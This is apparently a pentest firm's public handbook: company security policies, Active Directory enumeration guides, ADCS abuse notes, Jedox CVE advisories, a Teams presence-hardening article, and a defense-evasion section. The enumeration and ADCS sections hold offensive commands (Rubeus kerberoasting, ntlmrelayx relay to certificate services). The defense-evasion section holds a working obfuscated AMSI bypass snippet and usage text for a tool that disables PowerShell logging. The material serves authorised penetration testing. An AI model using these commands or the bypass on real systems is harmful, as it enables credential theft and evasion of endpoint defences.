--- url: 'https://handbook.syslifters.com/organization/secure-coding.md' description: >- Secure coding requirements and OWASP checklist alignment for Syslifters projects. --- # 👩‍💻 Secure Coding Policy We adhere to the [OWASP Secure Coding Practices Checklist](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/02-checklist/05-checklist) and improve security following a risk-based approach and continuous improvement process. Additionally, the following requirements must be met: * All API endpoints must be added to `test_api.py` * We limit endpoints to certain user permissions using `permission_classes` in `views.py` * This ensures that only users with defined permission levels can use the endpoints * If this is not possible, explicit test cases must be defined * If users with the same permission level can use one endpoint, but only with a limited dataset (e.g., list their own projects, but not those of others), this must be covered by explicit test cases. * We limit the available dataset using `get_queryset` methods in `views.py` perferably using `only_permitted` methods (in `queryset.py`). This policy applies to the projects: * [SysReptor](https://docs.sysreptor.com/) * [SysReptor Portal](https://sysreptor.com/) * [SysLeaks](https://sysleaks.com/) ## Further conventions * We use [ruff](https://open-vsx.org/extension/charliermarsh/ruff) for linting and formatting Last reviewed: 13/04/2026 --- --- url: 'https://handbook.syslifters.com/organization/information-security-policy.md' description: >- Policy defining how Syslifters protects information security and personal data. --- # 📝 Information Security and Privacy Policy ## Purpose This Information Security Policy establishes the principles and responsibilities for protecting the confidentiality, integrity, and availability of information assets, including personal information, handled by Syslifters GmbH. It ensures compliance with applicable data protection and privacy laws and supports the organization’s commitment to maintaining the trust of customers, employees, and partners. ## Scope This policy applies to all employees, contractors, and third parties who access or manage Syslifters’s information systems, networks, or data—whether stored digitally or physically. ## Information Protection Principles * Confidentiality – Personal and sensitive data must be protected from unauthorized access, disclosure, or misuse. * Integrity – Information must be accurate, complete, and protected from unauthorized modification or destruction. * Availability – Information and systems must be accessible to authorized users as needed for business operations. ## Personal Information Protection * Personal data shall be collected, stored, processed, and transmitted only for legitimate business purposes and in accordance with applicable privacy regulations (e.g., GDPR, CCPA). * Technical and organizational safeguards—including encryption, access controls, secure authentication, and audit logging—must be implemented to protect personal information against loss, theft, or unauthorized disclosure. * Data minimization and retention principles shall be applied to ensure personal information is not kept longer than necessary. * Any suspected or confirmed security or privacy incident involving personal data must be reported immediately to the company's directors and managed according to the organization’s incident response procedures. ## Responsibilities All staff are required to adhere to this policy and to complete periodic information security and privacy training. The management is responsible for overseeing compliance, monitoring controls, and updating the policy as needed. ## Policy Review This policy will be reviewed annually or following significant organizational or regulatory changes. Last reviewed: 13/04/2026 --- --- url: 'https://handbook.syslifters.com/organization/incident-response.md' description: >- Process for identifying, containing, and reporting privacy incidents and data breaches. --- # 🔥 Privacy Incident and Breach Management Process ## Purpose This process establishes how Syslifters identifies, reports, assesses, and responds to privacy incidents and data breaches to minimize impact and ensure compliance with applicable privacy and data protection regulations. ## Scope This process applies to all employees, contractors, and third parties who handle personal or confidential information on behalf of Syslifters. ## 1. Identification and Reporting Any employee or third party who becomes aware of a suspected or confirmed privacy incident (e.g., unauthorized access, disclosure, loss, or alteration of personal data) must report it immediately to the directors or Data Protection Officer (DPO) via the Signal messenger. All reports must include known details such as the date/time, nature of the incident, affected systems or data, and individuals involved. ## 2. Containment and Assessment * The director/DPO will promptly initiate containment measures to prevent further data loss or exposure. * A preliminary assessment will be conducted to determine: * The type and sensitivity of the data affected * The number of individuals impacted * The root cause and potential harm * Whether the event constitutes a notifiable breach under relevant privacy laws. ## 3. Notification and Escalation * If a breach meets the threshold for notification, Syslifters will notify the appropriate regulatory authority and impacted individuals and companies within required legal timeframes (e.g., within 72 hours under GDPR). * If a breach involves software products under the CRA, the required steps must be taken. * Notifications will describe the nature of the breach, data involved, potential consequences, and actions taken or recommended mitigating risks. ## 4. Remediation and Recovery * Corrective actions will be implemented to resolve identified vulnerabilities and prevent recurrence. * Systems will be restored to normal operation following security verification. Last reviewed: 13/04/2026 --- --- url: 'https://handbook.syslifters.com/organization.md' description: 'Overview of Syslifters’ organization, structure, and internal policies.' --- # About our organization We are a start-up security company with focus on pentests. Our specialisations are internal enterprise networks (Active Directory and Entra ID infrastructures) and web security. With our clear focus, we have the greatest possible know-how in the field of offensive IT security. We are also developing innovative projects that take our pentests to the next level. ## Company structure Edit the [source](https://syslifters.sysre.pt/projects/5086e509-4fca-4d99-aa2a-404feeda69a7/notes/76a8f057-a813-40c2-bdde-a865e827eb4e/) (internal link). ## Our company tasks Edit the [source](https://syslifters.sysre.pt/projects/5086e509-4fca-4d99-aa2a-404feeda69a7/notes/bdf8f374-2551-4971-952f-83f7a032b985/) (internal link). ## Articles of Association Download [PDF](/assets/Gesellschaftsvertrag_Syslifters.pdf){target="\_blank" rel="noopener noreferrer"} (DE). --- --- url: 'https://handbook.syslifters.com/about-the-handbook.md' description: 'What this handbook is, who it’s for, and how to contribute.' --- # About the handbook This is our public handbook, our main source of truth about how we deliver our offensive security services (inspired by [GitLab](https://handbook.gitlab.com/handbook/) and [OCV](https://handbook.opencoreventures.com/)). We encourage our employees to use the handbook during the daily work. We try to publish content that our employees, clients or other pentesters might benefit from. The handbook is opinionated and no legal or binding advice to those outside of our company. Our handbook should be complete enough that a new employee doesn't need extensive onboarding to get to know our style of working and our approach to offensive security. This handbook is a constant work in progress and follows an iterative approach. We are currently in the process of moving our internal documentation to this public handbook. Things might be missing due to several reasons (privacy, security, copyright, etc.). It is okay to be messy. Let's improve iteratively. Better done than perfect. ## Style guide * Front-load essential information. * Write in present tense. * Prefer active voice if possible. * Avoid filler words. * Use [sentence case](https://www.grammarly.com/blog/sentences/title-case-sentence-case/) for titles. * Avoid typos. You can use AI to suggest improvements to your text (include the style guide in your prompt). ## Making changes ### For externals [Open an issue](https://github.com/Syslifters/handbook/issues) and describe your suggestions and improvements. Thank you for contributing. ❤️ ### For employees The handbook is hosted in our internal [GitLab](https://gitlab.internal.syslifters.com/docs/public/). Read [how to make changes](/making-changes) there. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/enumeration/ad-enumeration.md description: >- Tools and techniques for enumerating Active Directory and Entra ID environments. --- # AD enumeration ## PingCastle Quickly identify misconfigurations, vulnerabilities, and risks within Active Directory and Entra ID environments using PingCastle. 1. Download the Syslifters compiled version of [PingCastle.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/PingCastle.exe) 2. Add license into `appsettings.console.json` file next to the `PingCastle.exe` file to run the program with the correct license. Retrieve the file or license key from your password manager / internal vault. 3. Run `pingcastle.exe` in a terminal. ## Bloodhound Map and assess Active Directory related attack paths in Active Directory and Entra ID environments. 1. Download the Syslifters compiled [Sharphound.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/SharpHound.exe) collector 2. Collect data * Cheatsheet: SharpHound cheat sheet (external link) * For non-admin users:\ `./SharpHound.exe` * With domain admin, we will also want to collect sessions:\ `./SharpHound.exe --c All` * Collect data with all attributes:\ `sharphound.exe -c all --collectallproperties` 3. Import the `.zip` file into the hosted BloodHound instance. Credentials and host info should be stored in your password manager / internal vault. ### Pyldap If BloodHound is unavailable or fails, you can achieve similar results using pyldap, a tool for manual LDAP queries that supports BloodHound-compatible output. 1. Download [pyldap](https://github.com/Tw1sm/pyldapsearch/tree/main) 2. Run an LDAP query, e.g.:\ `.\--main--.exe operation\user: '(objectClass=*)'` 3. Transform with [bofhound](https://github.com/coffeegist/bofhound) to ingest into a BloodHound instance. ### Cipher queries Here are some practical BloodHound Cypher queries for extracting valuable information about the target environment or handling nodes. Use these in the Neo4j web interface after data ingestion (credentials available in your password manager / internal vault). Some queries were based on [Handy BloodHound Cypher queries](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md). #### Bulk mark as owned Tags one or more users as compromised by appending `owned` to their `system_tags`, which surfaces them as starting points in attack-path queries. The `CASE` block keeps the operation idempotent: it avoids duplicate tags and handles a `NULL` `system_tags` value. ```powershell MATCH (u:User) WHERE u.samaccountname IN ["user1", "user2"] SET u.system_tags = CASE WHEN u.system_tags IS NULL THEN ["owned"] WHEN "owned" IN u.system_tags THEN u.system_tags ELSE u.system_tags + ["owned"] END RETURN u.samaccountname AS updated_users, u.system_tags AS new_tags; ``` #### Delete a single computer Removes a node and all of its incoming and outgoing relationships from the graph via `DETACH DELETE`. Handy for cleaning up decommissioned hosts, duplicate entries or unwanted nodes. Adjust the label (`:User`, `:Computer`, `:Group`, ...) to match the object you want to drop. ```powershell MATCH p=(c:User) WHERE c.name = "COMPUTER@DOMAIN.LOCAL" detach delete p ``` #### Delete a relationship between a user and another object Useful for pruning false positives or unwanted edges (e.g. stale `HasSession`, irrelevant `MemberOf`) from the graph. Replace the edge type after `r:` with the relationship you want to remove, or omit it (`-[r]->`) to delete every relationship between the two nodes. ```powershell MATCH (u:User {name: "USER@DOMAIN.LOCAL"})-[r:HasSession]->(o) WHERE o.name = "TARGET@DOMAIN.LOCAL" DELETE r ``` #### Get all sensitive users Lists user accounts flagged as `Account is sensitive and cannot be delegated`. These are typically high-value identities (admins, service accounts handling secrets) and good candidates for further enumeration or targeting. ```powershell match (u:User) where u.sensitive = True return u ``` #### Get owned users Returns every user already marked as owned (`u.owned = True`), together with any captured password stored in `u.pw` and their distinguished name. Useful for a quick recap of which accounts you have credentials for during an engagement. ```powershell MATCH (u:User) WHERE u.owned = True RETURN u.samaccountname, u.pw, u.distinguishedname ORDER BY u.name ``` #### Get all users with outbound object control Counts, per enabled user, how many objects they can directly control via dangerous AD/ADCS rights, both directly and transitively through group membership (up to 10 hops). Results are bucketed by target type (computers, users, groups, OUs, GPOs, domains, containers, ADCS objects) and ordered by total, making it easy to spot over-privileged accounts or the best escalation candidates. ```powershell CYPHER runtime=parallel CALL { MATCH (u:User)-[:Owns|OwnsLimitedRights|WriteDacl|WriteOwner|WriteOwnerLimitedRights|GenericAll|GenericWrite|AllExtendedRights|ForceChangePassword|AddMembers|AddSelf|WriteSPN|AddKeyCredentialLink|ReadLAPSPassword|SyncLAPSPassword|ReadGMSAPassword|AddAllowedToAct|WriteAccountRestrictions|HasSIDHistory|WriteGPLink|DCSync|GetChanges|GetChangesAll|GetChangesInFilteredSet|ManageCA|ManageCertificates|Enroll|AutoEnroll|EnrollOnBehalfOf|WritePKIEnrollmentFlag|WritePKINameFlag|WriteCertificateMappingAccess|WriteCertificateEnrollmentFlag]->(tgt) WHERE u <> tgt AND coalesce(u.enabled, true) = true RETURN u, tgt UNION MATCH (u:User)-[:MemberOf*1..10]->(:Group)-[:Owns|OwnsLimitedRights|WriteDacl|WriteOwner|WriteOwnerLimitedRights|GenericAll|GenericWrite|AllExtendedRights|ForceChangePassword|AddMembers|AddSelf|WriteSPN|AddKeyCredentialLink|ReadLAPSPassword|SyncLAPSPassword|ReadGMSAPassword|AddAllowedToAct|WriteAccountRestrictions|HasSIDHistory|WriteGPLink|DCSync|GetChanges|GetChangesAll|GetChangesInFilteredSet|ManageCA|ManageCertificates|Enroll|AutoEnroll|EnrollOnBehalfOf|WritePKIEnrollmentFlag|WritePKINameFlag|WriteCertificateMappingAccess|WriteCertificateEnrollmentFlag]->(tgt) WHERE u <> tgt AND coalesce(u.enabled, true) = true RETURN u, tgt } WITH u, COUNT(DISTINCT tgt) AS total, COUNT(DISTINCT CASE WHEN tgt:Computer THEN tgt END) AS computers, COUNT(DISTINCT CASE WHEN tgt:User THEN tgt END) AS users, COUNT(DISTINCT CASE WHEN tgt:Group THEN tgt END) AS groups, COUNT(DISTINCT CASE WHEN tgt:OU THEN tgt END) AS ous, COUNT(DISTINCT CASE WHEN tgt:GPO THEN tgt END) AS gpos, COUNT(DISTINCT CASE WHEN tgt:Domain THEN tgt END) AS domains, COUNT(DISTINCT CASE WHEN tgt:Container THEN tgt END) AS containers, COUNT(DISTINCT CASE WHEN tgt:CertTemplate OR tgt:EnterpriseCA OR tgt:RootCA OR tgt:AIACA OR tgt:NTAuthStore THEN tgt END) AS adcs RETURN u.name AS user, total, computers, users, groups, ous, gpos, domains, containers, adcs ORDER BY total DESC ``` #### Get all certificates with modification rights other than DA / EA / Built-In Administrators Finds non-administrative principals that have `Owns`, `WriteOwner`, `WriteDacl`, `GenericAll` or `GenericWrite` over objects under the `Public Key Services` container (certificate templates, CAs, NTAuthStore, ...). Domain Admins (`-512`), Enterprise Admins (`-519`) and Built-in Administrators (`-544`) are filtered out so only unexpected privileges remain. These are common starting points for AD CS abuse (ESC1 to ESC13). ```powershell MATCH p = (n:Base)-[:Owns|WriteOwner|WriteDacl|GenericAll|GenericWrite]->(m:Base) WHERE m.distinguishedname CONTAINS "PUBLIC KEY SERVICES" AND NOT n.objectid ENDS WITH "-512" // Domain Admins AND NOT n.objectid ENDS WITH "-519" // Enterprise Admins AND NOT n.objectid ENDS WITH "-544" // Administrators RETURN p LIMIT 1000 ``` #### Shortest path from owned users to DA (GUI functional) Returns the shortest attack path from any owned user (`system_tags CONTAINS "owned"`) to the Domain Admins group (SID ending in `-512`). The edge list mirrors what the BloodHound GUI understands, so the result can be opened and explored visually instead of just printed as raw paths. ```powershell MATCH p=shortestPath((n:User)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor*1..]->(m:Group)) WHERE n.system_tags CONTAINS "owned" AND m.objectid ENDS WITH "-512" RETURN p ``` #### Shortest path from owned computers to DA (GUI functional) Same as the previous query but starting from owned computers instead of users. Useful for visualizing escalation paths reachable through compromised hosts (e.g. via machine-account abuse, sessions or delegation) up to Domain Admins. ```powershell MATCH p=shortestPath((n:Computer)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor*1..]->(m:Group)) WHERE n.system_tags CONTAINS "owned" AND m.objectid ENDS WITH "-512" RETURN p ``` ## ADRecon Use [ADRecon](https://github.com/Syslifters/offsec-tools/blob/main/bin/ADRecon.ps1) to gather comprehensive details about the Active Directory environment and generate an Excel (`.xlsx`) report for a holistic overview of the target environment. 1. Execute `.\ADRecon.ps1` in PowerShell. An Excel report will be generated automatically if Microsoft Office is installed. 2. If Office is not available, create an Excel report from the CSV files on another host using: `.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-` ## Kerberoasting Identify all service accounts with Service Principal Names (SPNs) configured that are vulnerable to Kerberoasting. Check for accounts with RC4 enabled. ```powershell # Kerberoast and write hashes to file Rubeus.exe kerberoast /outfile:hashes.txt /nowrap ``` ## AS-Rep Roasting Find all user accounts with pre-authentication disabled, making them vulnerable to AS-Rep Roasting. ```powershell Rubeus.exe asreproast /outfile:asrephashes.txt /format:hashcat /nowrap ``` ## Group3r Group3r Repo: Tool for attackers to find security relevant misconfigurations in Group Policy Objects. Printing findings to stdout or log file. Run with: `.\Group3r.exe -s -f group3r.txt -w` * `-s` prints to stout * `-f` prints output into file * `-w` will limit output to only show settings with an associated 'finding' \======= ## RSAT tools The Remote Server Administration Tools (RSAT) ship the PowerShell modules and MMC snap-ins used throughout AD enumeration: the `ActiveDirectory` module (`Get-ADUser`, `Get-ADComputer`, ...), `DNSServer`, `DHCPServer`, `GroupPolicy`, the AD CS console, and more. * On modern Windows 10/11 clients they are optional capabilities and must be added before most `Get-AD*` cmdlets will work. * On Windows servers, they are optional features. Use `Get-WindowsFeature` instead of `Get-WindowsCapability` there. * E.g., `Get-WindowsFeature RSAT-AD-PowerShell` Run PowerShell as Administrator for all commands. List installed / available RSAT capabilities: ```powershell Get-WindowsCapability -Name RSAT* -Online ``` Install everything at once: ```powershell Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online ``` Install only what you need. The AD, DNS, DHCP, Group Policy and AD CS modules cover the vast majority of engagements: ```powershell Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.Dns.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.DHCP.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.CertificateServices.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.FileServices.Tools~~~~0.0.1.0 Add-WindowsCapability -Online -Name Rsat.ServerManager.Tools~~~~0.0.1.0 ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/adcs.md description: >- Active Directory Certificate Services (AD CS) notes and references for common abuse paths. --- # ADCS ## Certified Pre-Owned * [Original whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) * [Wayback Machine](https://web.archive.org/web/20260330091827/https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) ### ESC 8 ```powershell ntlmrelayx.py -t http:///certsrv/ -smb2support --adcs --template ``` ### ESC 11 ```powershell ntlmrealayx.py -t rpc://ca.domain.local --template -rpc-mode ICPR -icpr-ca-name -smb2support -debug ``` ## certipy Enumerate certificate templates from Active Directory Environment. Flags are: * -u username@domain * -p password * -dc-ip Domain Controller IP address * -enabled only shows enabled templates * -hide-admins Don't show administrator permissions ``` certipy find \ -u 'attacker@lab.internal' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -text \ -enabled -hide-admins ``` ## certify TODO --- --- url: 'https://handbook.syslifters.com/advisories.md' description: Security advisories and disclosure reports published by Syslifters --- # Advisories ## Jedox 2023 ### Overview * ** Vendor:** [Jedox GmbH](https://www.jedox.com/de/){target="\_blank"} * ** Product:** Jedox / Jedox Cloud * ** Version:** Jedox 2020.2.5+ * ** CVE Number:** CVE-2022-47874, CVE-2022-47875, CVE-2022-47876, CVE-2022-47877, CVE-2022-47878, CVE-2022-47879, CVE-2022-47880 ### Timeline * **2022-12-20:** Initial contact to the vendor via two managers * **2022-12-27:** Contact with vendor via public mail address * **2023-01-11:** Vendor provides encrypted channel for vulnerability information * **2023-01-18:** Reporting of vulnerability details * **2023-04-28:** Planned public disclosure ### Summary **CVE-2022-47879: Code Execution via RPC Interfaces**\ A Remote Code Execution (RCE) vulnerability in */be/rpc.php* and */be/erpc.php* in Jedox Cloud and Jedox 2020.2.5 allows remote authenticated users to load arbitrary PHP classes from the *rtn* directory and to execute its methods. To exploitthis vulnerability, the attacker needs knowledge about loadable classes, their methods and arguments. **CVE-2022-47875: Remote Code Execution via Directory Traversal**\ A Directory Traversal vulnerability in */be/erpc.php* in Jedox Cloud and Jedox 2020.2.5 allows remote authenticated users to execute arbitrary code. To exploit the vulnerability, the attacker must have the permissions to upload files. **CVE-2022-47877: Stored Cross-Site Scripting in Log-Module**\ A Stored cross-site scripting vulnerability in Jedox 2020.2.5 allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payloadto the log message. **CVE-2022-47878: Remote Code Execution via Configurable Storage Path**\ Incorrect input validation for the default-storage-path in the settings page in Jedox 2020.2.5 allows remote, authenticated users to specify the location as web root directory. Consecutive file uploads can lead to the execution of arbitrarycode. To exploit the vulnerability, the attacker sets the default storage path to the web root. **CVE-2022-47876: Remote Code Execution via Executable Groovy-Scripts**\ Integrator in Jedox 2020.2.5 allows remote authenticated users to create Jobs to execute arbitrary code via Groovy-scripts. To exploit the vulnerability, the attacker must be able to create a Groovy-Job in Integrator. **CVE-2022-47874: Disclosure of Database Credentials via Improper Access Controls**\ Improper access controls in */tc/rpc* in Jedox Cloud and Jedox 2020.2.5 allows remote authenticated users to view details of database connections via the class *com.jedox.etl.mngr.Connections* and the method *getGlobalConnection*. To exploitthe vulnerability, the attacker must know the name of the database connection. **CVE-2022-47880: Disclosure of Database Credentials via Connection Checks**\ An information disclosure vulnerability in `/be/rpc.php` in Jedox Cloud and Jedox 2020.2.5 allows remote authenticated users with the appropriate permissions to modify database connections to disclose the clear text credentials via the `test connection`function. To exploit the vulnerability, the attacker must set the host of the database connection to a server under his control. --- --- url: 'https://handbook.syslifters.com/de/advisories.md' description: Security Advisories und Disclosure-Berichte von Syslifters. --- # Advisories ## Jedox 2023 ### Übersicht * ** Hersteller:** [Jedox GmbH](https://www.jedox.com/de/){target="\_blank"} * ** Produkt:** Jedox / Jedox Cloud * ** Version:** Jedox 2020.2.5+ * ** CVE Nummer:** CVE-2022-47874, CVE-2022-47875, CVE-2022-47876, CVE-2022-47877, CVE-2022-47878, CVE-2022-47879, CVE-2022-47880 ### Verlauf * **2022-12-20:** Erstkontakt mit dem Hersteller über zwei Manager * **2022-12-27:** Kontakt mit dem Hersteller über eine öffentliche Mailadresse * **2023-01-11:** Zur Verfügungstellung eines verschlüsselten Kanals durch den Hersteller * **2023-01-18:** Meldung der Schwachstellendetails * **2023-04-28:** Veröffentlichung der Schwachstellendetails ### Zusammenfassung **CVE-2022-47879: Code Execution über RPC Interfaces**\ Eine Remote Code Execution (RCE) Schwachstelle in */be/rpc.php* und */be/erpc.php* in Jedox Cloud und Jedox 2020.2.5 erlaubt authentifizierten Benutzern, beliebige PHP-Klassen aus dem Verzeichnis *rtn* zu laden und deren Methoden auszuführen. Um diese Schwachstelle auszunutzen, benötigt der Angreifer Kenntnis über ladbare Klassen, ihre Methoden und Argumente. **CVE-2022-47875: Remote Code Execution über Directory Traversal**\ Eine Directory Traversal Schwachstelle in */be/erpc.php* in Jedox Cloud und Jedox 2020.2.5 erlaubt authentifizierten Benutzern die Ausführung von beliebigem Code. Um die Schwachstelle auszunutzen, benötigt ein Angreifer Berechtigungen Dateien hochzuladen. **CVE-2022-47877: Stored Cross-Site Scripting im Log-Modul**\ Eine Stord Cross-Site-Scripting-Schwachstelle in Jedox 2020.2.5 erlaubt es authentifizierten Benutzern, beliebige Skripte oder HTML in die Log-Seite über das Log-Modul einzuschleusen. Um die Schwachstelle auszunutzen, muss der Angreifer eine XSS-Payload an die Protokollnachricht anhängen. **CVE-2022-47878: Remote Code Execution über konfigurierbaren Storage Path**\ Eine fehlerhafte Eingabevalidierung zur Konfiguration des Storage Paths in Jedox 2020.2.5 erlaubt es authentifizierten Benutzern, den Speicherort als Web-Root-Verzeichnis anzugeben. Nachfolgende Datei-Uploads können zur Ausführung von beliebigem Code führen. Um die Schwachstelle auszunutzen, setzt der Angreifer den Standard-Speicherpfad auf das Web-Root des Webservers. **CVE-2022-47876: Remote Code Execution über ausführbare Groovy-Scripts**\ Integrator in Jedox 2020.2.5 erlaubt authentifizierten Benutzern, Jobs zu erstellen, um beliebigen Code über Groovy-Skripte auszuführen. Um die Sicherheitslücke auszunutzen, muss der Angreifer in der Lage sein, einen Groovy-Job in Integrator zu erstellen. **CVE-2022-47874: Offenbarung von Databankzugangsdaten aufgrund unzureichender Zugriffskontrollen**\ Unzureichende Zugriffskontrollen in */tc/rpc* in Jedox Cloud und Jedox 2020.2.5 ermöglichen es authentifizierten Benutzern, Details von Datenbankverbindungen über die Klasse *com.jedox.etl.mngr.Connections* und die Methode *getGlobalConnection* einzusehen. Um die Sicherheitslücke auszunutzen, muss der Angreifer den Namen der Datenbankverbindung kennen. **CVE-2022-47880: Offenlegung von Datenbankverbindungen über Verbindungstests**\ Eine Information Disclosure Schwachstelle in `/be/rpc.php` in Jedox Cloud und Jedox 2020.2.5 ermöglicht es authentifizierten Benutzern mit entsprechenden Berechtigungen, Datenbankverbindungen zu ändern, um die Zugangsdaten über die Funktion `test connection` offenzulegen. Um die Sicherheitslücke auszunutzen, muss der Angreifer den Host der Datenbankverbindung auf einen unter seiner Kontrolle stehenden Server setzen. --- --- url: 'https://handbook.syslifters.com/after-pentests.md' description: >- What happens after a pentest - report delivery, retesting, and access deprovisioning guidance. --- # After our pentests * We will send you the report in PDF format (encrypted, password via second channel) as soon as possible (usually a few days) after the tests. In some cases it can take a little longer, but a maximum of four weeks. * It is very important to us that you also work with our report and that you derive improvement measures from it. **That's why we will re-test fixed weaknesses for you free of charge** if they are corrected within eight weeks! Please let us know when everything has been fixed so that we can check everything collectively. * It makes sense to keep our accesses and user accounts active until re-tests have finished. * As soon as they are no longer needed, please deprovision everything that is no longer needed. ::: tip How we send our reports We provide our reports via password-protected sharing links. From there, the report can be downloaded as an encrypted PDF file. Due to the TLS/HTTPS-protected connection, the data transmission is encrypted ("Encrypted Data in Transit"), while the encrypted PDF report ensures that the stored report is also encrypted ("Encrypted Data at Rest"). The validity of the links is limited in time (by default: two weeks). Upon client request, we are also happy to transmit the report as an encrypted PDF file via email. We transmit the necessary passwords through a secondary channel (recommended: Signal Messenger; alternatively, for example, via SMS). ::: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/defense-evasion/amsi.md description: AMSI / ETW / Script Block Logging bypasses for PowerShell and .NET payloads. --- # AMSI ## PowerShell version * [Other bypasses](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) A "poor man’s" AMSI bypass for executing scripts and .NET content. This only applies to the current PowerShell session. 1. Start PowerShell with relaxed execution policy (e.g. `powershell -executionpolicy bypass powershell.exe`) or set it temporarily (e.g. `Set-ExecutionPolicy Unrestricted`). 2. Apply an AMSI bypass. 3. Load your scripts. ```powershell $type = "System.Management." $type += "Automation." $type += "Am" $type += "si" $type += "Utils" $field = "am" $field += "si" $field += "InitFailed" $method = "Non" $method += "Public" $method += ",Static" $util = [Ref].Assembly.GetType($type); $failed = $util.GetField($field, $method); $failed.SetValue($null, $true); ``` ## Stracciatella PowerShell runspace from within C# (aka SharpPick technique) with AMSI, ETW, and Script Block Logging disabled.^\[] [Stracciatella.exe (Syslifters offsec-tools)](https://github.com/Syslifters/offsec-tools/blob/main/bin/Stracciatella.exe) ```powershell PS D:\> Stracciatella -h :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled. Mariusz Banach / mgeeky, '19-22 v0.7 Usage: stracciatella.exe [options] [command] -s , --script - Path to file containing Powershell script to execute. If not options given, will enter a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script. -v, --verbose - Prints verbose informations -n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys). By default these are going to be always removed. -C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted. -f, --force - Proceed with execution even if Powershell defenses were not disabled. By default we bail out on failure. -c, --command - Executes the specified commands You can either use -c or append commands after stracciatella parameters: cmd> straciatella ipconfig /all If command and script parameters were given, executes command after running script. -x , --xor - Consider input as XOR encoded, where is a one byte key in decimal (prefix with 0x for hex) -p , --pipe - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of its length coded in little-endian (Length-Value notation). -t , --timeout - Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite. -e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well. Decodes input command after decoding and running input script file. By default we only decode input file and consider command given in plaintext ``` --- --- url: 'https://handbook.syslifters.com/de/microsoft-teams-status-disclosure.md' description: >- Wie der Microsoft-Teams-Status (Presence) sensible Gewohnheiten preisgeben kann und welche Admin-Optionen die Sichtbarkeit für Externe reduzieren. --- ## Microsoft Teams Status Disclosure Das "Status-Lämpchen" von MS-Teams ist ziemlich unscheinbar, verrät aber ganz schön viel über dich und deine Gewohnheiten. Wann du zu arbeiten beginnst und wann du aufhörst, ob du gerade mit deinen Kollegen auf Kaffeepause bist, dich in einem Meeting berieseln lässt oder selber gerade in diesem Augenblick präsentierst. Statusinformationen mögen in einer Organisation vielleicht ganz nützlich sein, standardmäßig können allerdings auch alle außerhalb deiner Organisation deinen Anwesenheitsstatus sehen. Uns ist aufgefallen, dass das bei vielen unserer Kontakte der Fall ist. ![f7db67bef6420d59c3fbd2f8f3ac19d4.png](/assets/f7db67bef6420d59c3fbd2f8f3ac19d4.png) ## Behebung Wenn du das nicht möchtest, muss die Standardkonfiguration im Teams Admin Center angepasst werden. Doch eines vorweg: leider gibt es keine Möglichkeit, den Zugriff auf Statusinformationen für Externe vollständig zu deaktivieren. Du hast jedoch die folgenden Optionen den Zugriff zu verhindern, wenn auch mit Einschränkungen: Option 1) du aktivierst den Skype4Business Presence Privacy Mode. Diese Option schränkt den Zugriff auf Anwesenheitsinformationen auf Skype4Business- oder Teams-Kontakte auf deine persönliche Kontaktliste ein. ![f253d6b64a48b65510d5f3ee4575b304.png](/assets/f253d6b64a48b65510d5f3ee4575b304.png) Option 2) du blockierst alle externen Domänen. Damit können deine Kollegen außerhalb deiner Organisation niemanden suchen, mit ihm telefonieren, chatten oder Meetings führen. Der Austausch mit anderen ist dann nur noch über einen Gastzugriff möglich. ![9688e49730402e608f3c7af6fa045eca.png](/assets/9688e49730402e608f3c7af6fa045eca.png) Wenn ihr schon dabei seid MS-Teams zu härten, solltet ihr außerdem die Option deaktivieren, die es Personen 